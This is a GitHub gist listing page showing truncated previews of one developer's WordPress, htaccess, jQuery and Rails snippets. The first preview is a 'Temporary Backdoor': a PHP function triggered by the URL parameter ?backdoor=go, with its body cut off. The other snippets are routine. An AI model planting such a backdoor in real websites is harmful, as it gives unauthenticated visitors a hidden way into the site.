Skip to content

Instantly share code, notes, and snippets.

View KustomDeveloper's full-sized avatar
:octocat:
Building React Apps

Michael Hicks KustomDeveloper

:octocat:
Building React Apps
View GitHub Profile
/**
*
* Temporary Backdoor
*
*/
//Your website’s backdoor is: mywebsite.com/?backdoor=go
function holeinthewall() {
if ($_GET['backdoor'] == 'go') {
@KustomDeveloper
KustomDeveloper / Add open graph (og:) tags to wordpress for facebook sharing of posts
Created October 12, 2018 17:18
Add open graph (og:) tags to wordpress for facebook sharing of posts
<?php if( is_single() ) { ?>
<?php
function ogtrimtext($data, $limit) {
$arr = explode(" ", $data);
$new_arr = array_slice($arr, 0, $limit);
return implode(" ", $new_arr);
}
global $post;
$og_post_object = get_post( $post_id );
@KustomDeveloper
KustomDeveloper / Restrict Direct Access To Files In Wordpress
Created October 12, 2018 15:19
Restrict Direct Access To Files In Wordpress Using htaccess
Directions: Add this file to the bottom of your htaccess file
# Restrict Direct Access To Files
RewriteEngine On
RewriteCond %{HTTP_REFERER} !^https://(www\.)?backyardriches\.com/ [NC]
RewriteCond %{REQUEST_URI} !hotlink\.(gif|png|jpg|doc|xls|pdf|html|htm|xlsx|docx|mp4|mov) [NC]
RewriteCond %{HTTP_COOKIE} !^.*wordpress_logged_in.*$ [NC]
RewriteRule .*\.(gif|png|jpg|doc|xls|pdf|html|htm|xlsx|docx|mp4|mov)$ https://backyardriches.com/ [NC]
# END Restrict Direct Access To Files
function redirect_cf7() {
?>
<script type="text/javascript">
document.addEventListener( 'wpcf7mailsent', function( event ) {
if ( '947' == event.detail.contactFormId ) { // Sends sumissions on form 947 to the first thank you page
location = 'https://www.example.com/thank-you-1/';
} else if ( '1070' == event.detail.contactFormId ) { // Sends submissions on form 1070 to the second thank you page
location = 'https://www.example.com/thank-you-2/';
} else { // Sends submissions on all unaccounted for forms to the third thank you page
location = 'https://www.example.com/thank-you-3/';
@KustomDeveloper
KustomDeveloper / index.html
Created September 20, 2018 19:44
Notification Bar
<!doctype html>
<head>
<title>Notification Bar</title>
</head>
<body>
<div id="notificationBar">
<i class="fa fa-times close-btn"></i>
<div class="container">
<p>October 18, 2018: Rock Concert - Revival 2018 - Tickets are only $20! Band Name 1, Band Name 2, Band Name 3
@KustomDeveloper
KustomDeveloper / Stylefile.yml
Created July 31, 2018 16:37
Customizations for www.legends.website via StyleURL.
---
version: 1.0
domains:
- www.legends.website
url_patterns:
- www.legends.website/*
timestamp: '2018-07-31T16:37:28Z'
id: ntEa
redirect_url: http://www.legends.website/landing-page/#contact
shared_via: StyleURL - (https://styleurl.app) import and export CSS changes from Chrome
class TweetsController < ApplicationController
# GET /tweets
def index
@tweets = Tweet.all
end
# GET /tweets/1
def show
@tweet = Tweet.find(params[:id])
<script>
$(document).ready(function(){
$(".order2stepbuttonOrder").hide();
$("#bump-offer").click(function() {
$(".order2stepbuttonOrder").toggle();
});
});
</script>
<div class="checkbox checkbox-text">
<label><span id="clicker"><input type="checkbox" name="custom_type" data-custom-type="agree" value="agree_tc"></span>Yes! I agree to your stupid terms of service. Geeesh!</label>
</div>
<div class="fake-button" style="display: block;">YES, PROTECT MY FAMILY NOW &gt;&gt;</div>
<script>
$(document).ready(function() {
//Add class to submit button